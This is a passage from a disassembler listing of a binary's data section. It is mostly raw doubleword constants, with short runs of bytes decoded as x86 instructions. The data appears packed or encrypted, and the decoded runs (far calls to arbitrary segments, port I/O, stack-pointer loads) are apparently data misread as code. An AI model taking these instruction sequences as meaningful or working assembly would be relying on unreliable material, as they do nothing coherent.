		dd 484F55A6h, 403A32Eh,	0E00911CDh, 245069A8h, 0E831B282h
		dd 58507CF7h, 0BE35BC99h, 0A59AF616h, 0BA614D0Eh, 0AA66F20Dh
		dd 247D3F21h, 44737594h, 42A76BE7h, 0AEEEE4Bh, 4E0854A6h
		dd 0BCD11997h, 0D0B11380h, 0CC6FEF3h, 88EACA1Ah, 7D8481Bh
		dd 0CC28A9D6h, 93DF4A00h, 0B368944Eh, 51EE39C9h, 0E787FD8Ah
		dd 396150F9h, 973257A4h, 63FF49BDh, 0E9BF82CBh,	749307F1h
		dd 0DC7BF9ABh, 293426BAh, 97479EFEh, 0D7E81BCh,	0C0418A70h
		dd 13E34468h, 0B1735EC0h, 74BBF532h, 0A1B026DFh, 0DD05F7F8h
		dd 210600B0h, 8789561Dh, 0F2011045h, 38A96CFAh,	1946EC7h
		dd 8BAE855Dh, 0A8EB6A2Eh
		dd 0FA33E486h, 0B19A2DFFh, 29CD942h, 0F8A215EBh, 62B24A1Dh
		dd 0C0BCCD36h, 0B3AC6BC0h, 79F35A74h, 0CE5982F8h, 8E6EEF4Ch
		dd 3C516477h, 94F0FDB2h, 0F7D2F25h, 41E9976Eh, 0D838AF5h
		dd 0FBC136DCh, 8F5602E7h, 2CE93F4Bh, 65F53E04h,	0B89CFA13h
		dd 0E163762Dh, 0EA9DE848h, 0C1FFB22Ah, 0E7BAA300h, 5A4AB27Ch
		dd 0F7A75668h, 818F16E5h, 0A1672294h, 0F8999A0Ch, 0F44141C7h
		dd 100D3532h, 31E4379Dh, 69F1AFA0h, 23934E1Eh, 38BB268Ch
		dd 2E8B5AC0h, 9663502Ch, 1BE1A26h, 506E0CE3h, 1A18567Eh
		dd 0D73F3D4Ah, 2ED89F86h, 0AF159DB1h, 0B2F72E3Dh, 0BA79AC55h
		dd 0EA8CAD07h, 2AE75B49h, 1154AE1Ch, 0FCD8EAC0h, 9642DA75h
		dd 62578FB6h, 0EF0288D7h, 24A5679Dh, 0FACE5E41h, 4E873575h
		dd 0DB9B4743h, 1387C3A5h, 0CB44D0A3h, 0CC74BF2h, 0B5CD480Fh
		dd 4225FB99h, 0FE78F215h, 99318704h, 0E9A9B3Eh,	8AB0F05Eh
		dd 915108D9h, 4D6FD355h, 0E0BB6BA0h, 9DEF796Eh,	2A139AADh
		dd 0BA7AC68Bh, 0CCF1E6FCh, 0B9CA2A66h, 0A91BE691h, 0E8CD1127h
		dd 90717378h, 0C81F8E5Bh, 0F2A86D85h, 0BBBF19CDh, 33E75529h
		dd 0FE884046h, 0F48C67BCh, 49828741h, 23184E70h, 0EBB3D0B7h
		dd 0CE17EDDDh, 90A59273h, 203D6DDFh, 0C5B9C8E9h, 6FDEE905h
		dd 11889E6h, 0DB9506A8h, 5F66869Dh, 1CFE079Dh, 4E4AEE90h
		dd 920B27C4h, 0F1009DA8h, 1686A5C5h, 43375CCh, 0E9563732h
		dd 2AF80027h, 2D31543Fh, 0CD8EB9D6h, 0BF8DB21Ch, 159EEC8Ah
		dd 1CBECAAAh, 509BD912h, 274396D2h, 3672E2A8h, 0ACED7A82h
		dd 0D6FB6FEFh, 8053C5A4h, 76079EBEh, 8334284Dh,	956A170Fh
		dd 0A9334382h, 0FD67273Eh, 0E531C3FEh, 0AEEE632Fh, 0F8C01197h
		dd 88F60812h, 3F5779D7h, 4A1D3EA8h, 0ABA13662h,	36D6F069h
		dd 0E55643DEh, 10A97CFAh, 5EE5DFB3h, 3963B6Fh, 0AA4FD016h
		dd 1F6969AAh, 37BE0590h, 0DD54AD7Eh, 0EF545C56h, 0D748BFF9h
		dd 85AFA7C0h, 0D47B336Fh, 94CB37B3h, 570920D1h,	159F8250h
		dd 0F6331025h, 0FBA32CD9h, 0B7AC13D6h, 0DF64A84Eh, 0E54C96CBh
		dd 0B9B1514Dh, 61C1D8B1h, 7FD5A6ABh, 0AE6787BEh, 60819033h
		dd 0E9B3C669h, 722D4725h, 0D37FCC84h, 0D3434913h, 13A41593h
		dd 33C8FA14h, 703C2FCDh, 0CFB76363h, 963ED3ADh,	2F2AFD01h
		dd 8293EE45h, 113709E5h, 0C09B3153h, 0FC0CF515h, 69EC820Fh
		dd 1E307E1Bh, 1C1FB352h, 77FFD535h, 6B674761h, 84573F4Ah
		dd 0ADA1CC3Dh, 0FA116EB5h, 180B55DBh, 0E370C86Eh, 2D7F2781h
		dd 86A5C010h, 69E5131Dh, 9AEEB910h, 0B23AC4CDh,	50EE6974h
		dd 0B1AA3730h, 300969CEh, 53D35EDDh, 77FCF6F5h,	33B74234h
		dd 6CFD401Fh, 1D804C13h, 0A7DE33AEh, 385707FBh,	7B0BBF62h
		dd 3EBE3D4Fh, 3131E1BDh, 2A6F4B89h, 82A47830h, 8125DA05h
		dd 25E36149h, 17C0C943h, 0B0ED8CEAh, 21D0DA22h,	0AEDDFD77h
		dd 41299435h, 0FDBFCD28h, 0E2AA8B7Eh, 8369FC05h, 5C866A22h
		dd 0FA73D4E9h, 0FAC3FDE8h, 0DEA99867h, 26263A38h, 0E3D68013h
		dd 0F09E6507h, 0F1530E5Dh, 0CA08721Eh, 3430C6A7h, 98F93B7Ch
		dd 0BB9C7B8Fh, 8C523BADh, 0DA21CD3Fh, 8DF0EEE0h, 0B0CE48F5h
		dd 652ABC4Ah, 0C8BD15Eh, 186F8435h, 430030E9h, 39E2021Fh
		dd 0A179DD3Ch, 77DFB19Eh, 34F7C0BEh, 0DBF29528h, 0FB93CA0h
		dd 43351413h, 99944891h, 73CED198h, 62DC189Dh, 0C965FF32h
		dd 0D56B8CB6h, 0A7BA72E3h, 99CE9C91h, 0CF0C181Dh, 805738FFh
		dd 9E762DCAh, 8CF0E557h, 16CD8B0Fh, 0C4BB88CDh,	5C175B4Ah
		dd 0BBD155A7h, 0F9D7B1BBh, 56B5C88Fh, 0D62D1A5Bh, 5EEC2164h
		dd 34E1694Fh, 8E3D1516h, 9C343900h, 88DF53EBh, 90295C45h
		dd 7457369Bh, 0BCC807D8h, 0CDF5145Ch, 3B9AD667h, 0FF66E7Dh
		dd 61D1DCBBh, 0AA692C1Ah, 19ABD563h, 776541EBh,	0B3CD2012h
		dd 8373FEB7h, 390CFF04h, 0AD9D30F1h, 17A304A8h,	0DCD078F8h
		dd 211CCD8Ah, 0BAA95DF0h, 0BB4EEB53h, 0AD2989D0h, 1A9831C5h
		dd 25688EBFh, 6A8AC042h, 0B492DD23h, 2F2EE4E2h,	0DE395088h
		dd 0E2D8C193h, 342F5072h, 806EAC87h, 5D0C178Fh,	111BBA21h
		dd 0DE4547F4h, 0C9A5BF85h, 166AE502h, 38D3C952h, 0B2ED3523h
		dd 6263A377h, 0FD1C75E5h, 0B174545Ah, 8EA48E2Ah, 78AB5428h
		dd 0AD764F1h, 0D36AB932h, 0B2289F4Fh, 0E822520Ch, 0AE31B952h
		dd 8C754B3Ah, 97D25850h, 940C3031h, 0D1AC4F74h,	0C9AA2464h
		dd 0B995B200h, 0CFFBA084h, 0B1A284C3h, 1595F159h, 41BB673Ch
		dd 368A4DFDh, 2C5DB567h, 23268054h, 9910E452h, 1EA6C823h
		dd 7DC3C02Fh, 43FA9815h, 0C01AA7CBh, 4C634A70h,	0BAB8F1F3h
		dd 29F6DCF0h, 4AD2CCA8h, 0B4F1A91Dh, 4CBAC4Bh, 7D4EF494h
		dd 0EEC87839h, 56FB88D2h, 0EC17B895h, 3C31EC7h,	0ED6B9425h
		dd 3C5EA7D9h, 0AA607C6Eh, 4804E2C1h, 0FD788DD7h, 706594DDh
		dd 1EB2DAA1h, 0BF7C8B1Ah, 96CB589Ah, 0FFE36889h, 5EEC0B50h
		dd 87618D23h, 6928DE8Ah, 0DBF97AAEh, 0DC4CFF35h, 0C4B5B33h
		dd 5704D556h, 99FD53B9h, 0FC0B2DC5h, 0A9E0993h,	8392F454h
		dd 7476F332h, 8442FEE2h, 4FC3B722h, 0E7DC6C5Bh,	9E69A187h
		dd 444E83A9h, 0EF1A9EDFh, 34832E59h, 0F55A8199h, 0E8E2BADEh
		dd 0F8BD30A9h, 2A5F013Ah, 9B9F9B41h, 1AF1D787h,	780F774Ah
		dd 0FA31FCEh, 2F20C58Eh, 60B3BD98h, 0A2BDF36Fh,	0D3B47B7Fh
		dd 487D07C9h, 0C1A39908h, 0AB43DF1Dh, 0C3050591h, 0FBD1D1C2h
		dd 0E2D1C5A0h, 4B83FAABh, 0D0C45578h, 0A0059588h, 6B87A1A0h
		dd 60863201h, 0A6ADAD7Bh, 0CC4517Ah, 0E13B0577h, 95E52023h
		dd 0A5F5E078h, 3CF5A8D5h, 0EFA3E8C6h, 2C792D46h, 0A2E9B2E6h
		dd 0BC70F1BCh, 0F5861955h, 7D8ADC1Ch, 0AB68187Bh, 335D37BBh
		dd 8C5D3280h, 0ED72862Bh, 84911972h, 355B6450h,	73C60FC1h
		dd 50536ED8h, 7D867246h, 3CA7E57Fh, 12E2BDDh, 0F30FAC1Eh
		dd 3B66B2Fh, 0C99CFD24h, 0DC238C90h, 6481A934h,	93293907h
		dd 0B5C33EFBh, 7DE22F7Eh, 7CAC62B3h, 81801F2h, 0D64CB38Eh
		dd 0E8347BBEh, 9846E76Bh, 99A7D2EDh, 0AE6235D3h, 3826310Eh
		dd 0C60C8FAAh, 0DA9AF5F0h, 1C9E132Ah, 9F4B3DAEh, 20CD2D34h
		dd 8680137Dh, 0D32DC56h, 4052775h, 0BFD98D39h, 7424E009h
		dd 0E0840DCBh, 6785CC96h, 8D7CCFC3h, 4E68F01Bh,	0FAAEBCA5h
		dd 76BBAA45h, 760E1B13h, 0A9B3F4DBh, 0A2896563h, 9229A463h
		dd 2FB560E8h, 6116E0BBh, 58010FB1h, 73109AAEh, 72FEF64Ah
		dd 29B4EEB9h, 95A164F1h, 1253B840h, 0FCD34E41h,	5E6430EEh
		dd 0DD1467D6h, 7E8E80D4h, 9339A68Ah, 0C1D5532Bh, 7A9D14D6h
		dd 0BAFBCD9Dh, 0FA3582F2h, 98147804h, 7CAD26C9h, 0A80748B8h
		dd 27707F01h, 3ED8320Ch, 0D26646DAh, 455FA98Ah,	75E86A1Ah
		dd 43758F16h, 0D235DBF8h, 0BD44E447h, 4FF53B6Fh, 846D72CFh
		dd 3403FF5Eh, 0CD2B530Bh, 0E83FE6BFh, 0DE42802Ch, 2DD5A071h
		dd 0DD7FFF6Fh, 0F0AD0D9Dh, 2361BAh, 880E0ED5h, 0C0D432D6h
		dd 6E2A55F0h, 0A600A4AEh, 30936B65h, 0CD4D69E2h, 5701603Eh
		dd 0DB9689C1h, 0F22B965Fh, 93C08BD2h, 9FBE592Dh, 31AF320Ah
		dd 0D2530C24h, 0EAE7014Eh, 4C9591E8h, 71EDCC88h, 73C6800Fh
		dd 0BD8DF3Ch, 0D8C8DDA7h, 227FE56Bh, 0E34B16F0h, 0F2482284h
		dd 0F1F94FCFh, 35CFF916h, 5B63D8B4h, 87A52E23h,	8A3DFFA9h
		dd 0F0031605h, 4045C12Eh, 0CABAB375h, 410C1DE4h, 311DECCAh
		dd 0E1936945h, 9DB7DAECh
		dd 4D368A92h, 1F7B16E6h
; ---------------------------------------------------------------------------
		or	al, 93h


loc_42380A:				; CODE XREF: .data:00423861j
		pop	ebp
		fstp1	st(5)
		xchg	ah, [eax+3Eh]
		mov	esi, 239A7230h
		sbb	[esi], ch
		xor	[edx+52h], ah
		push	edi
		setalc
		call	far ptr	0FA42h:88FE7AA3h
		ror	dword ptr [ecx+eax-6Ah], cl
		pcmpgtb	mm4, qword ptr [ecx+16h]
		leave
		add	[esp+ebp-44FC6ECAh], ebx
		jmp	far ptr	2D13h:6A513F8Bh
; ---------------------------------------------------------------------------
		dw 677Fh
		dd 0F52411F5h, 3B196AA6h, 94D0025h
; ---------------------------------------------------------------------------


loc_423848:				; CODE XREF: .data:loc_4238BEj
		rcl	byte ptr [esi],	1
		xchg	eax, esi


loc_42384B:				; CODE XREF: .data:00423887j
		test	[eax-6Dh], bx
		inc	eax
		int	3		; Trap to Debugger
		fistp	dword ptr [ebx]
		bound	edi, [eax]
		wait
		popf
		and	[ebx-43h], ebp
		cld
		mov	ebx, 0C9DB6B0Eh
		pop	edx
		jb	short loc_42380A
		xchg	eax, esp
		sub	ebx, [edx]
		mov	esp, 3D25FACBh
		nop
		int	3		; Trap to Debugger
		sahf
		mov	fs, dx
		xor	dl, [edi-70h]
		dec	ebx


loc_423874:				; CODE XREF: .data:004238E4j
		jno	short loc_4238C3
		jg	short near ptr loc_423887+1
		sbb	eax, 5263EBC7h
		and	al, 0F7h
		icebp
		push	ecx
		fcomp	dword ptr [ebp-3562056Fh]


loc_423887:				; CODE XREF: .data:00423876j
		jbe	short loc_42384B
		leave
		imul	ecx, [esi+57B5E55Bh], 0CDE9105Ch
		inc	eax
		bound	edi, ds:0E39D9934h
		sbb	eax, 0C21A449Ch
		cmp	eax, 0EDA9036Ch
		retf	1A70h
; ---------------------------------------------------------------------------
		dd 2911696Ch, 5C4D73C7h
		db 9Bh,	73h
; ---------------------------------------------------------------------------


loc_4238B2:				; CODE XREF: .data:0042390Fj
		into
		in	eax, dx
		add	bh, dh
		test	ah, cl
		push	ss
		pop	edi
		in	al, 63h		; PC/XT	PPI Command/Mode Register.
					; Selects which	PPI ports are input or output.
					; BIOS sets to 99H (Ports A and	C are input, B is output).
		into
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_4238BE:				; CODE XREF: .data:00418D29j
		jnp	short loc_423848
		inc	esp
		adc	ebx, esi


loc_4238C3:				; CODE XREF: .data:loc_423874j
		inc	edx
		sub	ds:6783C8D4h, eax
		mov	eax, 1167C886h
		mov	dh, 51h
		xchg	eax, esp
		ffreep	st
		mov	cl, 0EDh	; CODE XREF: .data:004238F4j
		in	eax, 8Dh
		or	al, 3Fh
		jge	short near ptr loc_423940+1
		out	0EEh, al
		ror	dword ptr [edx], 80h
		push	ss
		cwde
		stc
		loopne	loc_423874
		pop	ss
		cmp	edi, ebp
		mov	ebx, 0BE1BDAAh
		mov	eax, ds:0EC6F92E1h
		insb
		jnp	short near ptr loc_4238D4+1
		add	ebx, [esi]
		mov	ebp, 27E38C53h
		inc	esp
		in	eax, dx
		push	12h
		push	edi
		lds	edx, [esp+ebx-57A9EEh]
		std
		js	short loc_42393C
		fsub	dword ptr [esi]
		cld
		jge	short loc_4238B2
		retn
; ---------------------------------------------------------------------------
		dw 0F206h
		dd 448892A8h, 511324F3h, 0C413E0C7h, 0CCCB50A4h, 1644A469h
		dd 5D70A397h, 4D76AE5Ch, 4E05C661h
; ---------------------------------------------------------------------------
		cld
		sbb	al, 83h


loc_423937:				; CODE XREF: .data:0042395Bj
		popf
		inc	esp
		mov	dl, 0CDh
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------


loc_42393C:				; CODE XREF: .data:0042390Aj
		pop	ecx
		out	0D4h, eax
		das


loc_423940:				; CODE XREF: .data:004238DAj
		in	al, 3Bh
		ffreep	st(1)
		setalc
		insd
		xlat
		ror	edi, 1
		mov	ch, 6Ah
		in	eax, dx


loc_42394C:				; CODE XREF: .data:00423970j
		adc	[eax+6Eh], al
		xchg	eax, ebp
		call	far ptr	0DE24h:0C9B28C43h
		shr	bh, 47h
		cld
		jecxz	short loc_423937
		inc	ecx
		pop	ebx
		insd
		pop	edi
		in	eax, 0FBh	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		js	short loc_42396E
		cmp	eax, 6ADC7472h
		popa
		outsb
		inc	edx
		push	ebp


loc_42396E:				; CODE XREF: .data:00423963j
		aad	0C5h
		jno	short loc_42394C
		movsd
		xchg	eax, edx
		mov	esp, 5924A30Bh
		and	bh, bl
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0F90CE07Ah, 9DE0B331h, 3849F542h, 748030CBh,	0DFC372C0h
		dd 13629CA0h, 9C4FD05Fh, 0E476ECD0h, 988F9254h,	46628FE9h
		dd 898DFE7Ah, 1C64A8EFh, 9EF75FFFh, 1F58D2AAh, 0B237A5BCh
		dd 4ADFD49h, 0E98788C6h, 0A1A479EAh, 8B606223h,	77A8122Bh
		dd 366D51C8h, 21E88876h, 0B670039Eh, 0EE1B77ECh, 9467B1F1h
		dd 60DCE55Fh, 92EE47DDh, 3E90D960h, 4A9C5EB0h, 80E037D5h
		dd 0A4F65E82h, 0AC622008h, 0A0DDA714h, 0E8BE2B56h, 0ABB6E297h
		dd 81B18B6Ch, 0A56AEF7Ah, 9589C48Ah, 43C89836h,	0F595207Fh
		dd 0A463776Fh, 85DC2D30h, 0C2CFCA70h, 4F7CAA0Eh, 5A8456A4h
		dd 0C0E927CBh, 11A8D1Bh, 3232C1C0h, 98C45004h, 15B2F81Ah
		dd 48209FD5h, 34841C9Bh, 8101910Ah, 0F7F1E4CFh,	0FA9E300Bh
		dd 2DF8E893h, 119A69DEh, 2CDCB203h, 6F8963EFh, 0E2E36A6h
		dd 82BD8BAh, 0AC5B6BFh,	161BA6CAh, 7103278Ah, 0EAECEE77h
		dd 131EAC1h, 0C4B8EDBCh, 0B96446F7h, 0D9BC96CEh, 40D83C9Eh
		dd 0AB7ECE7Ch, 0FDCE3BACh, 953D2682h, 756BBE12h, 202331BBh
		dd 13BF63A4h, 3D77FC88h, 4E1A0EE1h, 6723A6F7h, 7AE25D67h
		dd 0A638EDDEh, 0AE7D9590h, 5A5DEE53h, 0F19C6C9h, 6ED06DCAh
		dd 0F076A638h, 0A08095EBh, 2EBA7657h, 2E7EB806h, 0E54A2A29h
		dd 0A517EBE7h, 7D30F205h, 76BC9B5Eh, 0D9362FEFh, 2BA35600h
		dd 3C87F4ECh, 28D04204h, 0A4E551B7h, 0BEAE8783h, 25FFC889h
		dd 6B9F2759h, 0B44F5961h, 73542056h, 281D61CDh,	0B8AE113Fh
		dd 0CF64883Ah, 1D8173E2h, 8C9AB5DAh, 139CEF2Fh,	41A4D099h
		dd 0D8C5A8BAh, 7405CC9Ch, 17A645A7h, 0FBBE80FDh, 615AAAE9h
		dd 88BB2AC5h, 5873EB3Dh, 95596025h, 50EA378Ch, 7A19267Bh
		dd 0BE3853E4h, 0FFB14C3h, 0EB2B8D50h, 0EFFC87A4h, 5B400EBDh
		dd 0EA01CFD7h, 0B3EDEFD5h, 0F075B0CDh, 8A3D5D98h, 0E7CBBF51h
		dd 4EBD6CABh, 952892FAh, 9DABCF36h, 0D593A48Ah,	0A2F02D5Ah
		dd 0FA6644DBh, 3ADDB2D2h, 9EE1ED11h, 118CD73Bh,	3E92C569h
		dd 57781CEDh, 2104D0A7h, 0CB5F2438h, 838527h, 9A84B9A5h
		dd 0EB248C0Dh, 0A7E16B16h, 9F49AF24h, 53DF88B1h, 83E3FD78h
		dd 0D2CE9D5Fh, 0A835DFC6h, 13C77C89h, 82E1457Fh, 6C8C4077h
		dd 2233F4E5h, 0D5B9A738h, 1A612348h, 943508A5h,	1B7DDFB7h
		dd 0D95E324h, 0CC244250h, 809DBD11h, 30B0C151h,	0F087D93Ah
		dd 0F2D7F78Fh, 86E4A6EEh, 6A69AC9Dh, 0EE013803h, 323782B7h
		dd 34AD8B98h, 9F8C6FF1h, 19CB1E94h, 3B4C9B3Dh, 6827552Bh
		dd 7F49CF25h, 0D3C4E108h, 9010FC11h, 70CC377Ch,	2EC6AB00h
		dd 50155C4Bh, 35B2DA24h, 367BBF00h, 7085F0DDh, 0D11C5B01h
		dd 19419FACh, 82E941D1h, 324D81F5h, 0CC081926h,	7F442781h
		dd 35B79372h, 247163B3h, 6B78FF00h, 0C960012h, 951B795h
		dd 726D27E0h, 30C9C719h, 16AC4E28h, 28CA02FDh, 0C6C6DDD4h
		dd 0B8B373FAh, 0E8EFDB26h, 4CC56AE3h, 62C04B3Fh, 2F8F25EFh
		dd 0E3FF7E77h, 0EE49E2E9h, 9F2C9DDAh, 86033D38h, 28D32AC8h
		dd 9102B5D0h, 0FE3AEE18h, 0E21ACDDFh, 47BAB009h, 0E68B2C4h
		dd 145639FAh, 0A11D44A5h, 46756A9Fh, 0E609C377h, 0D8C1E5Ch
		dd 3E5B80CFh, 9191CAE7h, 0B377CB5Fh, 9A15158Fh,	95CBCE10h
		dd 5090B07Ch, 87C8FD8Bh, 0B463B083h, 450F1DF7h,	577FF75Ch
		dd 0F94DB105h, 9A2467F5h, 19577377h, 94DDA6BBh,	0B420CCD0h
		dd 4C724B85h, 0A02E7C67h, 14B1D2CBh, 3382D08Ch,	7CBB27C4h
		dd 6EBDBF47h, 50A0147h,	6C3FEE63h, 16804F5Fh, 8B4D66BBh
		dd 4E0D3ED0h, 823DE2Dh,	85EDACD8h, 0B30B2BE8h, 0A70C32FAh
		dd 89306D3Dh, 60A65877h, 0CE11F343h, 0D504474Ch, 43756254h
		dd 0DC76BB7Eh, 228B5FACh, 0B98BCA30h, 3990F64Ch, 303B8388h
		dd 27CB04E7h, 1D43A127h, 0D4430BFFh, 871113C6h,	9EC98770h
		dd 0BEF74023h, 0EA614AB2h, 0E704D31Bh, 69EE091Ah, 8E564C55h
		dd 6328C87Ch, 1042056Ch, 0C054A781h, 0B15625BEh, 0B4C61F42h
		dd 5836B297h, 0E07D6D50h, 0FD6DE9Dh, 0D0F2677Ch, 1850B23h
		dd 81736FE9h, 0C7E7EDD7h, 0C019B86Fh, 9FFD0ADh,	0D221157Bh
		dd 6F75196Dh, 0F8052F92h, 90E1AFEh, 0B465C1E3h,	8795051Fh
		dd 0FB9F96D0h, 1D966DDCh, 94A3FFA6h, 509A5502h,	41C1D0C2h
		dd 565C7028h, 5BC1B9C0h, 9B28E031h, 9A12313Eh, 8822DA68h
		dd 723F5B50h, 2C607C04h, 0F71AA774h, 7D1FA163h,	6D0E6245h
		dd 0BCD56C61h, 6CCADF26h, 0B56A6C11h, 0A4FF2A59h, 0B12F0F73h
		dd 5B122080h, 453A66ABh, 210758C0h, 177E265Ah, 7F6D675Eh
		dd 10F9841Ch, 0D766D53Eh, 6C6E88CDh, 0EDB852B1h, 7F9C812Eh
		dd 21764984h, 6C3A562Ah, 0E255449Ch, 7B223D9Eh,	4F4E0F9Dh
		dd 0FA4C51BEh, 64BBD873h, 0DE7DBA4Ah, 6F32E621h, 0ABC669C0h
		dd 15C638C3h, 62D2A7A1h, 7C09821Eh, 0CB62727Bh,	0DB547D08h
		dd 2045B5BCh, 51F295E2h, 6717B645h, 0B50E6C57h,	1ABA59DCh
		dd 0D62BDD8Ch, 758FCD19h, 5EE3B4E8h, 83D8CCFCh,	4F016736h
		dd 0CE663F6Ch, 0D1EFBFEh, 9E794D69h, 51150285h,	4C8ED6C4h
		dd 4C34AB40h, 6DF5E907h, 98308245h, 2FB2CDB1h, 5BD61A01h
		dd 80A11A8Ah, 39087FEEh, 0F6D6543Ch, 0B2EF3893h, 0ADA942B9h
		dd 12AF4B51h, 9B993276h, 439543C6h, 1B3E7E7Bh, 2B4C0806h
		dd 8E050765h, 841CDA0Ah, 187AC57Ch, 0CBC08D50h,	2AE8604Bh
		dd 4FB31862h, 0E07D4354h, 0BDAF4B75h, 0D75D7FDEh, 8433D810h
		dd 0CC17FD2Bh, 82F2CD6Dh, 3D56E388h, 76CB2E35h,	226D1258h
		dd 16C89FE0h, 21F4F9C1h, 96B40E02h, 5E961C79h, 38AF665Ch
		dd 0C26DF0DEh, 0D184E260h, 0A293ADCCh, 0D1EEA1Eh, 37855DDBh
		dd 35285D5Dh, 214FD54Dh, 9C2BB533h, 0A4310FB8h,	0CF8B275Fh
		dd 9654816h, 1C64E093h,	6B6F8BD0h, 0AAEA177Bh, 0E9C4EBA4h
		dd 0E0B1B2B7h, 0CFB3A877h, 298A3556h, 4A110F86h, 0C45C51BEh
		dd 0D6E50FE2h, 0CFABB201h, 0DBB3CA3Eh, 322F02Dh, 0C2CC8455h
		dd 247CF499h, 385C3CD4h, 521BD1DEh, 14DB3B7Ch, 1FCBCA49h
		dd 0C846FB70h, 6C1A27B1h, 0E4691435h, 0DB109BBDh, 1A5A8BD9h
		dd 0FA037204h, 26124513h, 9BFDAB64h, 0F15DDA92h, 0B62B223Bh
		dd 9F9CAAB7h, 5A5A1565h, 46D5DD7Bh, 0A4D2E05Bh,	1DD16C68h
		dd 0F264E465h, 248CB9A4h, 1E0F36B9h, 0AC3E54A9h, 108183D5h
		dd 0D6604137h, 0A5DB329Dh, 0C4EDAD20h, 7A2869F3h, 3AD40DE7h
		dd 0E043039Bh, 5D70ABA2h, 0F95F9A7h, 0FBF7C859h, 4BB79094h
		dd 0E35610ADh, 0B422A99Eh, 35EC537Ah, 0F0EF00A6h, 15F6F021h
		dd 0CD3825D0h, 47656E78h, 1825D955h, 724A82E8h,	5B35D21Ah
		dd 77A95DDBh, 0BA316FF7h, 0BFB81C8Ah, 6272B7DBh, 2C4980B7h
		dd 0B176FE3h, 53E2DAB2h, 17D4B4F8h, 0DC56611Ah,	7F7D2899h
		dd 8081C6FBh, 31E275EAh, 0B67747B8h, 0C921298Fh, 0E0F494F3h
		dd 0FF9DF3F8h, 525962AEh, 6B3BD04Ch, 43DD7D19h,	0EB07FA80h
		dd 59CC14DDh, 0D4AF5DBEh, 0EBF7CFAEh, 1920BAE7h, 0A5B52E4h
		dd 0FB826E33h, 50FA88EEh, 89E021F3h, 0BDBDC0E1h, 0B175D08Ah
		dd 0F34E21Eh, 6A30A644h, 7B70ED9Ch, 9A47CBA6h, 0B415F6A4h
		dd 0ACF1213Eh, 0C798503Bh, 0E4F103E3h, 8F187455h, 9ABAA9C8h
		dd 0BD73DAB4h, 0E91D2373h, 34F6A487h, 4E7D408Fh, 1B3D2F04h
		dd 9845B612h, 91C86B76h, 5A1816A1h, 9C559A3Fh, 5E90632Ah
		dd 0B8C853BBh, 63F60E26h, 4BA00700h, 0DD6E22B0h, 0AA7F7FE7h
		dd 881913CEh, 73B45F51h
		dd 5CF2B27Ah, 8C394A78h, 91D03B61h, 10588840h, 87CE443Bh
		dd 0A38F2427h, 0E435E65h, 46B18D7Ch, 1DE2424Bh,	0BFDAF997h
		dd 0E45547A9h, 410C624Eh, 0EDA14751h, 0FCB68025h, 38D5C663h
		dd 4CE24997h, 0E33E1F35h, 77B14A37h, 0B5B765EBh, 0F14BD226h
		dd 34B8F505h, 1076A7DAh, 7615BB5Fh, 7BAA1CE8h, 0CFC78DA9h
		dd 0DAB8A834h, 10DDA8D2h, 0BA7EFA63h, 14944E5Dh, 0A97E4F10h
		dd 209239E9h, 30AF06C6h, 8E44FD7Bh, 0BCD236EEh,	76B948E8h
		dd 0B1D94C95h, 0EFBF04A7h, 0DEB5A4D2h, 9A96088Ch, 0F0574D3Fh
		dd 2343FDDFh, 0A1013BEEh, 0A78EA2Ch, 304EC709h,	0F9643019h
		dd 6769702Eh, 4CD7946Fh, 23F8E2C0h, 90A4FE8h, 967E0516h
		dd 20F3BF23h, 0D771DA52h, 0C0C5948Ch, 0A79D5A9Bh, 7EF287EEh
		dd 0FCADE335h, 73DDECCFh, 3383B1CFh, 58A1EF6h, 610E886h
		dd 4B4A563h, 76401280h,	0DEBC9004h, 558BC0CEh, 0A5B9F6B6h
		dd 0C0D5D3F7h, 1477F439h, 0A162A51Fh, 3F1E6DF1h, 8A381AA4h
		dd 982F0173h, 8FF801F0h, 90AEB4A2h, 90D3F0C9h, 8ED40EE4h
		dd 9A11900Fh, 35A6CE15h, 28217815h, 1823EA15h, 0DEE6F7FBh
		dd 0BB98EA93h, 0D78A15B9h, 3E78D653h, 0C854DAD5h, 18CAA2B4h
		dd 2DD98005h, 6A87BD29h, 14B092A9h, 0F4098B0h, 4B82ECAAh
		dd 543C551Eh, 673A8392h, 8818D0A1h, 739DCF93h, 0B782192Dh
		dd 8C429580h, 10E97468h, 54C20E44h, 3512F8C9h, 0E13606AAh
		dd 913E50AEh, 408F6515h, 1651962Fh, 8CCB0298h, 0B29D7B3Fh
		dd 0C32C9D6h, 0F50D3E3Dh, 3F86D1BBh, 0E0B8BCACh, 278C7368h
		dd 46B46E54h, 302BE586h, 0BB4D8EAEh, 6DF02462h,	51540407h
		dd 0A9E8EC71h, 8A62C4A3h, 0CD7B58F1h, 240A8788h, 8DD1018Ch
		dd 0FB0A326h, 0CA1C7B92h, 4DEEAE9Dh, 0A5709C60h, 4D7BE5A5h
		dd 99219063h, 93248B6Ch, 408DD851h, 34039AF0h, 221591CFh
		dd 6B8C8A2Fh, 1DB6D779h, 0B9947687h, 622E58C3h,	0FD0E4F2Eh
		dd 1980CD3Eh, 0B5F32502h, 0BF5B0DFEh, 0AF666722h, 0CECCEC1Eh
		dd 0A7FA8573h, 0E5D0C03Dh, 0AE7C46E3h, 60865900h, 5E80CE8Ah
		dd 3AD48B71h, 0B212C6BAh, 0B278FDF0h, 1F2B577Eh, 0C0601630h
		dd 0A687F142h, 410625F1h, 60BE7349h, 0B33FD9BBh, 131BBBBDh
		dd 637A1C91h, 821D6769h, 55613418h, 7AE12C64h, 1EF345A0h
		dd 85CBF5FAh, 5597BCF7h, 0DAFAAF53h, 8096AC34h,	7D6A2AEBh
		dd 85877585h, 6FD4F6ABh, 2EF21C9Ah, 45DA4CAAh, 9607383Ah
		dd 8D9D4E18h, 0DEE1B61Ah, 0B6AF3F58h, 516E0B2Dh, 0AAF6C5B6h
		dd 446C19FCh, 1A43D9ACh, 0D761CE6Ah, 41DF048Ch,	0D5A168DDh
		dd 5552CE9h, 0AA6E2617h, 0E65C703Ah, 9B58A547h,	588F5BEDh
		dd 0F533447Ch, 0E44EAF08h, 61F93041h, 0C895AF6h, 9BE4C1CBh
		dd 5071B8B1h, 8041C7Fh,	393B898Fh, 2AA719EAh, 0B608F89Ah
		dd 7597CEA7h, 0CF074FB5h, 46884D42h, 2F8A1FD6h,	0D959C372h
